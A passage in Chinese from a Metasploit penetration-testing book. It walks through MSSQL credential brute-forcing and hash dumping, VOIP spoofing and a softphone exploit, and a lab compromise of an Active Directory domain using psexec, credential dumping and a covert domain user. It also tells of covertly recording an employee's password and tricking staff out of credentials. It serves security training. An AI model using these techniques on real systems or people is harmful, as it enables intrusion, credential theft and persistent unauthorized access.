在介绍了 SCADA 利用的基础知识之后，让我们转向测试数据库服务。在这一部分，我们的主要目标将是测试数据库并检查各种漏洞。数据库包含了关键的业务数据。因此，如果数据库管理系统中存在漏洞，可能导致远程代码执行或完全网络妥协，这可能导致公司机密数据的泄露。与财务交易、医疗记录、犯罪记录、产品、销售、营销等相关的数据可能对地下社区的买家有利。

为了确保数据库完全安全，我们需要开发测试这些服务的方法论，以抵御各种类型的攻击。现在，让我们开始测试数据库，并查看在数据库渗透测试中进行不同阶段的过程。

SQL 服务器

微软于 1989 年推出了其数据库服务器。如今，相当大比例的网站都在最新版本的 MSSQL 服务器上运行——这是网站的后端。然而，如果网站规模庞大或每天处理大量交易，那么数据库没有任何漏洞和问题是至关重要的。

在测试数据库的这一部分，我们将专注于有效测试数据库管理系统的策略。默认情况下，MSSQL 运行在 TCP 端口号1433上，UDP 服务运行在端口1434上。因此，让我们开始测试运行在 Windows 8 上的 MSSQL Server 2008。

使用 Metasploit 模块扫描 MSSQL

让我们进入专门用于测试 MSSQL 服务器的 Metasploit 模块，并看看我们可以通过使用它们获得什么样的信息。我们将首先使用的辅助模块是mssql_ping。该模块将收集额外的服务信息。

因此，让我们加载模块并按以下步骤开始扫描过程：

从以前的结果中我们可以看到，我们从扫描中获得了大量信息。Nmap 提供了一个类似的模块来扫描 MSSQL 数据库。然而，Metasploit 的辅助模块在可读性上比 Nmap 的输出具有竞争优势。让我们看看还有哪些模块可以用来测试 MSSQL 服务器。

暴力破解密码

渗透测试数据库的下一步是精确检查认证。Metasploit 有一个内置模块名为mssql_login，我们可以用它作为认证测试工具，来暴力破解 MSSQL 服务器数据库的用户名和密码。

让我们加载模块并分析结果：

一旦我们运行这个模块，它会在第一步测试默认凭据，也就是使用用户名sa和空密码，并发现登录成功。因此，我们可以得出结论，仍然在使用默认凭据。此外，如果无法立即找到sa账户，我们必须尝试测试更多的凭据。为了实现这一点，我们将使用包含用于暴力破解 DBMS 用户名和密码的字典的文件的名称来设置USER_FILE和PASS_FILE参数：

让我们设置所需的参数，即USER_FILE列表、PASS_FILE列表和RHOSTS，以成功运行这个模块。

当我们针对目标数据库服务器运行这个模块时，我们将得到类似以下截图的输出：

从前面的结果中可以看出，我们有两个条目对应于用户在数据库中成功登录。我们找到了一个默认用户sa，密码为空，另一个用户nipun，密码是12345。

定位/捕获服务器密码

我们知道我们有两个用户：sa和nipun。让我们使用其中一个，并尝试找到另一个用户的凭据。我们可以借助mssql_hashdump模块来实现这一点。让我们检查它的工作并调查所有其他哈希值：

我们可以看到，我们已经获得了数据库服务器上其他账户的密码哈希。现在我们可以使用第三方工具破解它们，并且还可以提升或访问其他数据库和表。

浏览 SQL 服务器

我们在前面的部分找到了用户及其对应的密码。现在，让我们登录到服务器，并收集关于数据库服务器的基本信息，如存储过程、当前存在的数据库数量和名称、可以登录到数据库服务器的 Windows 组、数据库中的文件以及参数。

我们将要使用的模块是mssql_enum。让我们看看如何在目标数据库上运行这个模块：

运行mssql_enum模块后，我们将能够收集关于数据库服务器的大量信息。让我们看看它提供了什么样的信息：

正如我们所看到的，该模块向我们呈现了关于数据库服务器的几乎所有信息，如存储过程、名称、当前存在的数据库数量、禁用的账户等。

我们还将在接下来的重新加载 xp_cmdshell 功能部分中看到，我们可以绕过一些禁用的存储过程。而且，像xp_cmdshell这样的存储过程可能导致整个服务器被 compromise。我们可以在之前的截图中看到xp_cmdshell在服务器上是启用的。让我们看看mssql_enum模块还为我们提供了什么其他信息：

运行该模块，我们得到了一系列存储过程、空密码的账户、数据库的窗口登录和管理员登录。

后期利用/执行系统命令

在收集了关于目标数据库的足够信息后，让我们进行一些后期利用。为了实现后期利用，我们有两个不同的模块可以非常方便。第一个是mssql_sql，它将允许我们在数据库上运行 SQL 查询，第二个是msssql_exec，它将使我们能够通过启用xp_cmdshell存储过程来运行系统级命令，以防它被禁用。

重新加载 xp_cmdshell 功能

mssql_exec模块将尝试通过重新加载禁用的xp_cmdshell功能来运行系统级命令。此模块将要求我们将CMD选项设置为我们要执行的system命令。让我们看看它是如何工作的：

一旦我们完成运行mssql_exec模块，结果将如下屏幕截图所示闪现到屏幕上：

结果窗口显示了针对目标数据库服务器执行system命令的成功执行。

运行基于 SQL 的查询

我们还可以使用mssql_sql模块对目标数据库服务器运行基于 SQL 的查询。将SQL选项设置为任何有效的数据库查询将执行它，如下面的屏幕截图所示：

我们将SQL参数设置为select @@version。数据库服务器成功运行了查询，并且我们得到了数据库的版本。

因此，按照上述程序，我们可以使用 Metasploit 测试各种数据库的漏洞。

MySQL 数据库的测试在我的另一本书Metasploit Bootcamp中有介绍（www.packtpub.com/networking-and-servers/metasploit-bootcamp）；试试看。

请参考以下资源以保护 MSSQL 数据库：

www.mssqltips.com/sql-server-tip-category/19/security/。

对于 MySQL：

www.hexatier.com/mysql-database-security-best-practices-2/。

测试 VOIP 服务

现在，让我们专注于测试 VOIP 服务，并看看我们如何检查可能影响 VOIP 服务的各种缺陷。

VOIP 基础知识

互联网语音（VOIP）技术与传统电话服务相比成本要低得多。VOIP 在电信方面比传统电话服务提供了更多的灵活性，并提供了多个功能，如多个分机、来电显示服务、日志记录、每通电话的录音等。多家公司已经在 IP 电话上推出了他们的专用分支交换（PBX）。

传统和现有的电话系统仍然容易通过物理接触进行拦截，因此，如果攻击者更改电话线的连接并连接他们的发射器，他们将能够在受害者设备上拨打和接听电话，并享受互联网和传真服务。

然而，在 VOIP 服务的情况下，我们可以在不接触电线的情况下破坏安全性。然而，如果您不了解其工作原理，攻击 VOIP 服务将是一项繁琐的任务。本节将介绍如何在网络中破坏 VOIP 而不拦截电线。

PBX 简介

PBX 是小型和中型公司电话服务的经济解决方案，因为它在公司的机舱和楼层之间提供了更多的灵活性和互联。大公司也可能更喜欢 PBX，因为在大型组织中连接每条电话线到外部线路变得非常繁琐。PBX 包括以下内容：

• 在 PBX 终止的电话干线

• 管理 PBX 内和外的呼叫切换的计算机

• PBX 内的通信线路网络

• 人工操作员的控制台或交换机

VOIP 服务的类型

我们可以将 VOIP 技术分为三种不同的类别。让我们看看它们是什么。

自托管网络

在这种类型的网络中，PBX 安装在客户端现场，并进一步连接到互联网服务提供商（ISP）。这些系统通过多个虚拟局域网将 VOIP 流量传输到 PBX 设备，然后将其发送到公共交换电话网（PSTN）进行电路交换，同时也发送到互联网连接的 ISP。以下图表很好地展示了这种网络：

托管服务

在托管服务类型的 VOIP 技术中，客户端的场所没有 PBX。然而，客户端场所的所有设备都通过互联网连接到服务提供商的 PBX，即通过使用 IP/VPN 技术的会话初始协议（SIP）线路。

让我们看看以下图表如何解释这项技术：

SIP 服务提供商

许多互联网 SIP 服务提供商为软电话提供连接，可以直接使用以享受 VOIP 服务。此外，我们可以使用任何客户端软电话来访问 VOIP 服务，例如 Xlite，如下面的屏幕截图所示：

指纹识别 VOIP 服务

我们可以使用 Metasploit 内置的 SIP 扫描器模块对网络中的 VOIP 设备进行指纹识别。一个常见的 SIP 扫描器是SIP 终端扫描器。我们可以使用此扫描器通过向网络中的各种 SIP 设备发出选项请求来识别启用 SIP 的设备。

让我们继续使用/auxiliary/scanner/sip下的options辅助模块扫描 VOIP 并分析结果。这里的目标是运行 Asterisk PBX VOIP 客户端的 Windows XP 系统。我们首先加载用于扫描网络上的 SIP 服务的辅助模块，如下面的屏幕截图所示：

我们可以看到我们有很多选项可以与auxiliary/scanner/sip/options辅助模块一起使用。我们只需要配置RHOSTS选项。但是，对于大型网络，我们可以使用无类域间路由（CIDR）标识符定义 IP 范围。运行后，该模块将开始扫描可能正在使用 SIP 服务的 IP。让我们按照以下方式运行此模块：

当此模块运行时，它返回了许多与运行 SIP 服务的系统相关的信息。信息包含了称为agent的响应，它表示 PBX 的名称和版本，以及定义 PBX 支持的请求类型的动词。因此，我们可以使用此模块收集关于网络上 SIP 服务的大量知识。

扫描 VOIP 服务

在找到有关目标支持的各种选项请求的信息后，让我们现在使用另一个 Metasploit 模块auxiliary/scanner/sip/enumerator来扫描和枚举 VOIP 服务的用户。此模块将检查目标范围内的 VOIP 服务，并尝试枚举其用户。让我们看看我们如何实现这一点：

我们有前面的选项可用于此模块。我们将设置以下一些选项以成功运行此模块：

正如我们所看到的，我们已经设置了MAXEXT，MINEXT，PADLEN和RHOSTS选项。

在前面的屏幕截图中使用的 enumerator 模块中，我们将MINEXT和MAXEXT定义为3000和3005。MINEXT是搜索将从哪个分机号开始的扩展号码，MAXEXT是搜索将结束的最后一个分机号码。这些选项可以设置为广泛的范围，例如将MINEXT设置为0，MAXEXT设置为9999，以查找在分机号码0到9999上使用 VOIP 服务的各种用户。

通过将 RHOSTS 变量设置为 CIDR 值，让我们在目标范围上运行此模块，如下所示：

将RHOSTS设置为192.168.65.0/24将扫描整个子网。现在，让我们运行此模块并查看它呈现了什么输出：

这次搜索返回了许多使用 SIP 服务的用户。此外，MAXEXT和MINEXT的影响只扫描了从3000到3005的分机用户。分机可以被认为是特定网络中某个用户的通用地址。

欺骗 VOIP 呼叫

在了解了使用 SIP 服务的各种用户的足够知识后，让我们尝试使用 Metasploit 给用户打一个假电话。当用户在 Windows XP 平台上运行 SipXphone 2.0.6.27 时，让我们发送一个虚假的邀请请求给用户，使用auxiliary/voip/sip_invite_spoof模块如下：

我们将使用目标的 IP 地址设置RHOSTS选项，将EXTENSION设置为目标的4444。让我们保持SRCADDR设置为192.168.1.1，这将伪装地址源进行呼叫。

因此，让我们按照以下方式运行模块：

让我们看看受害者这边发生了什么：

我们可以看到软电话正在响铃，显示呼叫者为 192.168.1.1，并显示来自 Metasploit 的预定义消息。

利用 VOIP

为了完全访问系统，我们也可以尝试利用软电话软件。从之前的情景中，我们有目标的 IP 地址。让我们使用 Metasploit 扫描和利用它。但是，在 Kali 操作系统中有专门设计用于测试 VOIP 服务的专用 VOIP 扫描工具。以下是我们可以用来利用 VOIP 服务的工具列表：

• Smap

• Sipscan

• Sipsak

• Voipong

• Svmap

回到利用部分，我们在 Metasploit 中有一些可以用于软电话的利用程序。让我们看一个例子。

我们要利用的应用程序是 SipXphone 版本 2.0.6.27。该应用程序的界面可能类似于以下截图：

关于漏洞

漏洞在应用程序处理Cseq值时存在。发送一个过长的字符串会导致应用程序崩溃，并且在大多数情况下，它将允许攻击者运行恶意代码并访问系统。

利用应用程序

现在，让我们利用 Metasploit 来利用 SipXphone 版本 2.0.6.27 应用程序。我们要使用的利用程序是exploit/windows/sip/sipxphone_cseq。让我们将此模块加载到 Metasploit 中并设置所需的选项：

我们需要设置RHOST、LHOST和payload的值。让我们按照以下方式利用目标应用程序：

哇！我们在极短的时间内就得到了 meterpreter。因此，在使用 Metasploit 时，利用 VOIP 可能很容易。然而，在测试 VOIP 设备和其他与服务相关的缺陷时，我们可以使用第三方工具进行有效的测试。

可以在以下网址找到测试 VOIP 的绝佳资源：www.viproy.com/。

有关保护 VOIP 网络的更多信息，请参考这些优秀的指南：

searchsecurity.techtarget.com/feature/Securing-VoIP-Keeping-Your-VoIP-Networks-Safe 和 www.sans.org/reading-room/whitepapers/voip/security-issues-countermeasure-voip-1701。

总结

在本章中，我们看到了一些使我们能够测试各种服务的利用和渗透测试场景，例如数据库、VOIP 和 SCADA。在本章中，我们了解了 SCADA 及其基本原理。我们看到了如何可以获取有关数据库服务器的各种信息以及如何完全控制它。我们还看到了如何通过扫描网络来测试 VOIP 服务，并进行 VOIP 呼叫欺骗。

在进入下一章之前，您应该进行以下练习：

• 使用 Metasploit 设置和测试 MySQL、Oracle 和 PostgreSQL，并找到并开发缺失模块的模块。

• 尝试在 Metasploit 中自动化 SQL 注入漏洞

• 如果您对 SCADA 和 ICS 感兴趣，请尝试使用 Samurai STFU（www.samuraistfu.org/）

• 利用至少一个演示中未使用的 VOIP 软件

在下一章中，我们将看到如何使用 Metasploit 进行完整的渗透测试，并集成其他流行的渗透测试扫描工具。我们将介绍如何在对特定主题进行渗透测试时进行系统化的操作。我们还将探讨如何创建报告以及报告中应包含或排除哪些内容。

第十六章：虚拟测试场地和分期

在过去的几章中，我们已经涵盖了很多内容。现在是时候测试我们在整本书中涵盖的所有方法，以及其他各种著名的测试工具，看看我们如何能够有效地使用行业领先的工具在 Metasploit 中对目标网络、网站或其他服务进行渗透测试和漏洞评估。

在本章中，我们将探讨各种测试方法，并涵盖以下主题：

• 使用 Metasploit 以及行业中的多种其他渗透测试工具。

• 将从各种工具和不同格式生成的报告导入 Metasploit 框架

• 创建渗透测试报告

本章的主要重点是使用 Metasploit 以及其他行业领先的工具进行渗透测试；然而，在进行基于 Web 的测试和其他测试技术时，测试的阶段可能会有所不同，但原则是相同的。

使用集成的 Metasploit 服务进行渗透测试

我们可以使用三种不同的方法进行渗透测试。这些方法是白盒、黑盒和灰盒测试技术。白盒测试是一种测试程序，测试人员完全了解系统，并且客户愿意提供有关环境的凭据、源代码和其他必要信息。黑盒测试是一种测试程序，测试人员对目标几乎一无所知。灰盒测试技术是白盒和黑盒技术的结合，测试人员对被测试环境只有少量或部分信息。在本章的后续部分中，我们将进行灰盒测试，因为它结合了两种技术的优点。灰盒测试可能包括或不包括操作系统详细信息、部署的 Web 应用程序、运行的服务器类型和版本以及执行渗透测试所需的其他技术方面。灰盒测试中的部分信息将要求测试人员执行额外的扫描，这将比黑盒测试耗时较少，但比白盒测试耗时更长。

考虑这样一个情景，我们知道目标服务器正在运行 Windows 操作系统；然而，我们不知道正在运行哪个版本的 Windows。在这种情况下，我们将消除对 Linux 和 UNIX 系统的指纹技术，并主要关注 Windows 操作系统，从而通过考虑单一操作系统的版本而节省时间，而不是扫描每种操作系统。

使用灰盒测试技术进行渗透测试时，我们需要涵盖以下阶段：

上图说明了在进行灰盒分析的渗透测试时需要涵盖的各个阶段。如图所示，虚线标记的阶段定义了可能需要或不需要的阶段。双线标记的阶段指定了关键阶段，而最后一个（单一连续线）描述了在进行测试时应遵循的标准阶段。现在让我们开始渗透测试，并分析灰盒测试的各个方面。

与员工和最终用户的互动

与员工和最终用户的沟通是到达客户现场后要进行的第一个阶段。这个阶段包括非技术性黑客，也可以描述为社会工程学。其目的是从最终用户的角度获取有关目标系统的知识。这个阶段还回答了一个组织是否受到了通过最终用户泄露信息的保护。以下示例应该使事情更加透明。

去年，我们的团队正在进行白盒测试，并且我们访问了客户现场进行现场内部测试。我们一到达，就开始与最终用户交谈，询问他们在使用新安装的系统时是否遇到任何问题。出乎意料的是，公司里没有一个客户允许我们触碰他们的系统，但他们很快解释说他们在登录时遇到了问题，因为每个会话不能接受超过 10 个连接。

我们对公司的安全政策感到惊讶，该政策不允许我们访问他们的任何客户系统；但后来，我的一个队友看到一位大约 55-60 岁的老人在账户部门挣扎着使用互联网。我们问他是否需要帮助，他很快同意了。我们告诉他，他可以通过连接 LAN 电缆到我们的笔记本电脑来完成未完成的交易。他把 LAN 电缆插入我们的电脑，开始工作。站在他身后的我的同事打开了他的笔形摄像头，迅速记录了他的所有打字活动，比如他用来登录内部网络的凭据。

我们发现另一名女性正在与她的系统苦苦挣扎，并告诉我们她在登录时遇到了问题。我们向这位女士保证我们会解决这个问题，因为她的账户需要从后端解锁。我们要求她的用户名、密码以及登录机制的 IP 地址。她同意并把凭据传给了我们，这就结束了我们的例子：这样的员工如果遇到问题，无论这些环境有多安全，都可能意外泄露他们的凭据。我们后来将这个问题作为报告的一部分报告给了公司。

对最终用户有意义的其他类型信息包括以下内容：

• 他们正在使用的技术

• 服务器的平台和操作系统详细信息

• 隐藏的登录 IP 地址或管理区域地址

• 系统配置和操作系统详细信息

• Web 服务器背后的技术

这些信息是必需的，并将有助于在了解可测试系统中使用的技术的基础上，确定测试的关键领域。

然而，在执行灰盒渗透测试时，这个阶段可能包括也可能不包括。这类似于公司要求您在公司所在地完成测试，如果公司很远，甚至可能在另一个国家。在这些情况下，我们将排除这个阶段，并询问公司的管理员或其他官员有关他们正在使用的各种技术以及其他相关信息。

情报收集

与最终用户交谈后，我们需要深入了解网络配置并了解目标网络；然而，从最终用户那里收集到的信息可能不完整，更有可能是错误的。渗透测试人员必须确认每个细节两次，因为误报和虚假信息可能会在渗透测试过程中造成问题。

情报收集涉及捕获有关目标网络、使用的技术以及正在运行的服务版本等深入细节。

情报收集可以通过从最终用户、管理员和网络工程师收集的信息来执行。在远程测试的情况下，或者如果获得的信息部分不完整，我们可以使用各种漏洞扫描器，如 Nessus、GFI Lan Guard、OpenVAS 等，来找出任何缺失的信息，如操作系统、服务以及 TCP 和 UDP 端口。

在接下来的部分，我们将制定我们收集情报的需求，使用 OpenVAS、Mimikatz 等行业领先的工具；但在继续之前，让我们考虑一下使用从客户现场访问、预交互和问卷调查收集到的部分信息进行测试的环境设置。

正在测试的示例环境

根据我们使用问卷调查、互动和客户现场访问收集的信息，我们得出以下示例环境，将对其进行测试：

我们获得了 VPN 访问权限，并被要求对网络进行渗透测试。我们还了解到公司网络上运行的操作系统是基于 Windows 的操作系统。我们假设我们已经完成了 NMAP 扫描，并发现了运行在192.168.0.196上的用户系统。现在我们准备使用 Metasploit 和其他行业领先的工具进行全面的渗透测试。我们将使用的主要工具是OpenVAS。OpenVAS 是一个漏洞扫描器，是最先进的漏洞管理工具之一。OpenVAS 最好的地方在于它完全免费，这使得它成为小规模公司和个人的首选；然而，OpenVAS 有时可能会有 bug，您可能需要一些努力来手动修复 bug，但由于它是社区中的一颗明珠，OpenVAS 将始终是我最喜欢的漏洞扫描器。

要在 Kali Linux 上安装 OpenVAS，请参考www.kali.org/penetration-testing/openvas-vulnerability-scanning/。

使用 Metasploit 进行 OpenVAS 的漏洞扫描

要在 Metasploit 中集成 OpenVAS 的使用，我们需要加载 OpenVAS 插件，如下所示：

我们还可以看到有许多其他流行工具的模块，如 SQLMAP、Nexpose 和 Nessus。

要加载 OpenVAS 扩展到 Metasploit 中，我们需要从 Metasploit 控制台发出load openvas命令。

我们可以在上一个屏幕截图中看到，OpenVAS 插件已成功加载到 Metasploit 框架中。

要在 Metasploit 中使用 OpenVAS 的功能，我们需要将 OpenVAS Metasploit 插件与 OpenVAS 本身连接起来。我们可以通过使用openvas_connect命令，然后是用户凭据、服务器地址、端口号和 SSL 状态来实现这一点，如下面的屏幕截图所示：

在开始之前，让我们讨论工作空间，这是管理渗透测试的一个很好的方式，特别是当你在一家专门从事渗透测试和漏洞评估的公司工作时。通过切换和创建不同的工作空间来有效地处理不同的项目。使用工作空间还可以确保测试结果不会与其他项目混在一起。因此，在进行渗透测试时强烈建议使用工作空间。

创建并切换到新的工作空间非常容易，如下面的屏幕截图所示：

在上一个屏幕截图中，我们添加了一个名为AD_Test的新工作空间，并通过简单地输入workspace，然后输入AD_Test（工作空间的名称）来切换到它。

要开始漏洞扫描，我们需要创建的第一件事是一个目标。我们可以使用openvas_target_create命令创建尽可能多的目标，如下面的屏幕截图所示：

我们可以看到，我们为192.168.0.196 IP 地址创建了一个名为196_System的目标，并将其注释为196_System_in_AD，只是为了更容易记住。此外，记住目标的 ID 也是很好的。

继续前进，我们需要为正在测试的目标定义一个策略。我们可以通过发出openvas_config_list命令来列出示例策略，如下所示：

msf > openvas_config_list 
[+] OpenVAS list of configs

ID                                    Name
--                                    ----
085569ce-73ed-11df-83c3-002264764cea  empty
2d3f051c-55ba-11e3-bf43-406186ea4fc5  Host Discovery
698f691e-7489-11df-9d8c-002264764cea  Full and fast ultimate
708f25c4-7489-11df-8094-002264764cea  Full and very deep
74db13d6-7489-11df-91b9-002264764cea  Full and very deep ultimate
8715c877-47a0-438d-98a3-27c7a6ab2196  Discovery
bbca7412-a950-11e3-9109-406186ea4fc5  System Discovery
daba56c8-73ec-11df-a475-002264764cea  Full and fast

为了学习的目的，我们将只使用Full and fast ultimate策略。请注意策略 ID，在本例中为698f691e-7489-11df-9d8c-002264764cea。

现在我们有了目标 ID 和策略 ID，我们可以继续使用openvas_task_create命令创建一个漏洞扫描任务，如下所示：

msf > openvas_task_create 
[*] Usage: openvas_task_create <name> <comment> <config_id> <target_id>

msf > openvas_task_create 196_Scan NA **698f691e-7489-11df-9d8c-002264764cea 5e34d267-af41-4fe2-b729-2890ebf9ce97**
[*] 694e5760-bec4-4f80-984f-7c50105a1e00
[+] OpenVAS list of tasks
ID                                   Name      Comment  Status Progress
--                                  ----      -------  ------  --------
694e5760-bec4-4f80-984f-7c50105a1e00 196_Scan  NA       New     -1

我们可以看到我们使用openvas_task_create命令创建了一个新任务，然后分别是任务名称、注释、配置 ID 和目标 ID。有了创建的任务，我们现在准备启动扫描，如下面的输出所示：

msf > openvas_task_start 694e5760-bec4-4f80-984f-7c50105a1e00
[*] <X><authenticate_response status='200' status_text='OK'><role>Admin</role><timezone>UTC</timezone><severity>nist</severity></authenticate_response><start_task_response status='202' status_text='OK, request submitted'><report_id>c7886b9c-8958-4168-9781-cea09699bae6</report_id></start_task_response></X>  

在之前的结果中，我们可以看到我们使用openvas_task_start命令初始化了扫描，然后是任务 ID。我们可以随时使用openvas_task_list命令检查任务的进展，如下面的屏幕截图所示：

保持关注进展，一旦任务完成，我们可以使用openvas_report_list命令列出扫描报告，如下面的屏幕截图所示：

我们可以使用openvas_report_download命令下载这个报告，并直接将其导入到数据库中，然后是报告 ID、格式 ID、路径和名称，如下所示：

我们现在可以使用db_import命令在 Metasploit 中导入报告，如下面的屏幕截图所示：

格式 ID 可以使用openvas_format_list命令找到，如下面的屏幕截图所示：

成功导入后，我们可以使用vulns命令检查 MSF 数据库中的漏洞，如下面的屏幕截图所示：

我们可以看到我们在数据库中有所有的漏洞。我们可以通过登录到端口9392上的浏览器中的 Greenbone Assistant 来交叉验证漏洞数量并深入了解详细信息，如下面的屏幕截图所示：

我们可以看到我们有多个高影响的漏洞。现在是一个很好的时机来进行威胁建模，并只针对特定的弱点进行目标定位。

威胁区域建模

在进行渗透测试时，威胁区域建模是一个重要的关注点。这个阶段侧重于网络中需要关注和保护的特定区域。网络或系统中漏洞的影响取决于威胁区域。我们可能会在系统或网络中发现一些漏洞。然而，那些可能对关键区域产生影响的漏洞是首要关注的。这个阶段侧重于筛选那些可能对资产产生最大影响的漏洞。威胁区域建模将帮助我们针对正确的一组漏洞。然而，如果客户要求，这个阶段可以被跳过。

影响分析并标记对目标影响最大的漏洞也是必要的。此外，当受检网络范围广泛且只有关键区域需要测试时，这个阶段也是至关重要的。

从 OpenVAS 的结果中，我们可以看到 DCE/RPC 和 MSRPC 服务枚举报告漏洞，但由于网络是内部的，可能不会对基础设施造成任何伤害。因此，它被排除在利用的角度之外。此外，利用 DOS 等漏洞可能会导致蓝屏（BSOD）。在大多数基于生产的渗透测试中应避免 DOS 测试，并且只应在事先获得客户许可的测试环境中考虑。因此，我们跳过它，转而寻找可靠的漏洞，即 HTTP 文件服务器远程命令执行漏洞。浏览 OpenVAS Web 界面中漏洞的详细信息，我们可以发现该漏洞对应于 CVE 2014-6287，在 Metasploit 中对应于exploit/windows/http/rejetto_hfs_exec模块，如下截图所示：

获取目标访问权限

让我们通过加载模块并设置所需的选项来利用漏洞，如下截图所示：

我们可以看到我们已经放置了所有必要的选项，所以让我们使用exploit命令来利用系统，如下截图所示：

砰！我们成功进入了系统。让我们进行一些后渗透，看看我们利用了什么样的系统：

运行sysinfo命令告诉我们系统是一个 Windows 10 x64 系统，目前属于一个名为 PYSSG 的域，有七个已登录用户，这很有趣。让我们运行arp命令看看我们是否能识别网络上的一些系统：

我们可以看到网络上有很多其他系统在运行，但我们知道网络是在活动目录下配置的。此时，我们可能考虑对活动目录架构本身进行渗透测试，并收集关于网络其他部分的信息，可能还能够获得对域控制器本身的访问权限。

使用 Metasploit 攻击 Active Directory（AD）

由于我们已经在活动目录网络中的一台机器上获得了访问权限，我们必须找到并记录域控制器，然后利用这些详细信息来破解域控制器本身。

查找域控制器

让我们使用enum_domain模块来查找域控制器，如下截图所示：

我们可以看到我们有域、域控制器和其 IP 地址等详细信息。模块所需的唯一选项是从受损机器获得的 Meterpreter 的会话标识符。

枚举在 Active Directory 网络中的共享

要在网络中查找共享，我们可以简单地使用enum_shares模块，如下截图所示：

我们可以看到网络中有一个打印共享；然而，这看起来并不乐观。让我们尝试一些其他模块。

枚举 AD 计算机

我们还可以尝试使用enum_domain_computers后模块查找 AD 中系统的详细信息，如下截图所示：

我们可以看到我们已经为模块设置了会话标识符。让我们运行模块并分析结果如下：

我们可以看到我们已经获得了域详细信息、计算机名称、OU，甚至操作系统版本，即 Windows Server 2016 标准版。嗯，Windows Server 2016 是一个太现代的系统，要在其中找到并利用漏洞将是一项艰巨的任务。尽管如此，让我们继续寻找一些令人兴奋的信息。

枚举在 Active Directory 中登录的用户

有时，我们可能能够窃取管理员的令牌并使用它来执行各种任务。让我们看看目前有哪些用户登录到网络中：

好吧，我们只能看到一个用户登录到系统中。让我们使用一些高级的 Metasploit 功能从这个网络中收集有价值的信息。

枚举域令牌

让我们看看在受损主机上运行post/windows/gather/enum_domain_tokens模块后我们得到了哪些域帐户，如下面的截图所示：

有趣。我们可以看到deepankar帐户是机器的本地管理员；然而，在域组和用户令牌帐户中有一个有趣的条目，即域管理员用户deep。这也可能意味着域管理员可能从这台机器上登录。该模块还将列出用户的运行进程，如下所示：

不错。我们可以看到来自本地和域管理员的进程都在运行。让我们继续枚举域，看看我们是否能找到更多东西。

在 Meterpreter 中使用 extapi

Windows Meterpreter 通过扩展 API 提供了许多新功能。扩展 API 提供了对剪贴板操作、查询服务、Windows 枚举和 ADSI 查询的简单访问。

要在 Metasploit 中加载扩展 API，我们只需要使用load命令，然后跟着extapi，如下面的截图所示：

运行上述命令在 Meterpreter 控制台中解锁了各种功能，可以通过在 Meterpreter 控制台中输入?来查看，如下所示：

使用 Metasploit 枚举打开的 Windows

扩展 API 中的window_enum功能为我们提供了受损机器上所有打开的 Windows 的列表。这可能使我们能够更多地了解目标和正在运行的应用程序。让我们看看在目标系统上运行此模块时会发生什么：

如建议的那样，我们有目标上所有打开的 Windows 的列表及其当前的进程 ID。让我们再探索一些：

我们可以看到 Microsoft Word 在目标系统上打开，这表明了机器上存在人的实体。

操作剪贴板

由于我们知道有人坐在机器上，而且我们已经拥有了扩展 API 的功能，让我们利用它来操作目标的剪贴板，如下所示：

嗯嗯！看起来有人正在将凭据复制到某个应用程序中。但等等！192.168.0.190是域控制器的 IP 地址。让我们记下这些凭据，因为我们将尝试使用它们进行更复杂的攻击。

在 Metasploit 中使用 ADSI 管理命令

我们已经获得了域控制器的一些关键凭据。但是在寻找目标上更多信息的可能性方面，我们不应该限制自己。让我们开始吧：

我们可以看到在pyssg.com域上发出adsi_computer_enum命令会枚举出网络上以前未知的许多其他系统。大多数系统都在运行 Windows 10 专业版操作系统。让我们看看我们还能得到什么：

我们还可以使用adsi_dc_enum命令找到域控制器，后面跟着pyssg.com，这是前面截图中显示的域名。我们还可以通过使用adsi_user_enum命令更好地查看 AD 用户，如下面的截图所示：

最初，我们看到我们只有一个 OU，也就是域；然而，前面的命令揭示了原始 OU 是 OPS。

在网络中使用 PsExec 漏洞

我们在前面的部分注意到了一些凭据。让我们利用它们并尝试使用 Metasploit 中的psexec模块访问域控制器。根据微软的网站：

"PsExec 是一个轻量级的 telnet 替代品，它允许您在其他系统上执行进程，包括对控制台应用程序的完全交互，而无需手动安装客户端软件。PsExec 的最强大的用途包括在远程系统上启动交互式命令提示符和远程启用诸如 IpConfig 之类的工具，否则无法显示有关远程系统的信息。"

PsExec 用于通过哈希传递攻击，攻击者无需破解某些系统密码的获得的哈希，哈希本身可以传递以登录到机器并执行任意命令。但由于我们已经有明文凭据，我们可以直接加载模块并运行它以获得对域控制器的访问。让我们设置模块如下：

我们可以看到我们已经设置了所有必需的选项。让我们执行模块并分析输出：

砰！我们已成功访问了域控制器。让我们进行一些后期利用，并看看我们还能得到什么：

是的！我们已经入侵了一个不包含严重漏洞但在权限范围上存在缺陷的 Windows 2016 服务器：

我们可以看到我们对服务器有SYSTEM级别的访问权限，并且可以在目标上执行几乎任何操作。

在 Metasploit 中使用 Kiwi

Metasploit 提供Mimikatz和Kiwi扩展来执行各种类型的凭据操作，例如转储密码和哈希，转储内存中的密码，生成黄金票据等。让我们在 Metasploit 中加载kiwi，如下所示：

一旦我们加载了kiwi模块，我们可以看到我们有一个完整的命令菜单可以使用，如下面的截图所示：

让我们尝试运行lsa_dump_secrets命令，并检查我们是否可以转储一些内容：

中了！我们可以看到我们已成功转储了 NTLM 和 SHA1 哈希以及秘密。我们有大量信息可以获得黄金票据；但是，我们将在接下来的章节中研究如何操纵黄金票据。现在让我们尝试使用hashdump命令转储哈希。要转储哈希，我们必须迁移到用户进程。让我们使用ps命令拉起进程列表，如下所示：

让我们迁移到运行在进程 ID576下的lsass.exe进程，如下所示：

哇！我们可以看到成功迁移到lsass.exe进程后，运行hashdump命令会转储所有用户哈希，我们稍后可以破解。

在 Metasploit 中使用 cachedump

由于我们已经获得了良好的访问权限，最好进行cachedump以获取凭据，如下所示：

保持对 AD 的访问

我们已经看到我们有许多方法可以在目标系统上实现持久性，我们将在接下来的章节中看到更多方法；但是，在一个拥有许多用户的大型网络中，可能很容易秘密地将一个域用户添加到控制器上，以巩固我们对 AD 网络的访问。让我们加载post/windows/manage/add_user_domain模块，如下所示：

我们可以看到我们已经设置了所有必需的选项，如USERNAME、PASSWORD和SESSION。让我们运行这个模块，看看我们的用户是否被添加到域中：

我们可以看到我们已成功将用户 hacker 添加到域PYSSG中。我们可以随时轻松地使用这个用户来回登录；但是，我建议将名称与现有用户匹配，因为像hacker这样的词会引起一些疑问。

此外，我们可以使用loot命令查看所有收集的细节，如下所示：

生成手动报告

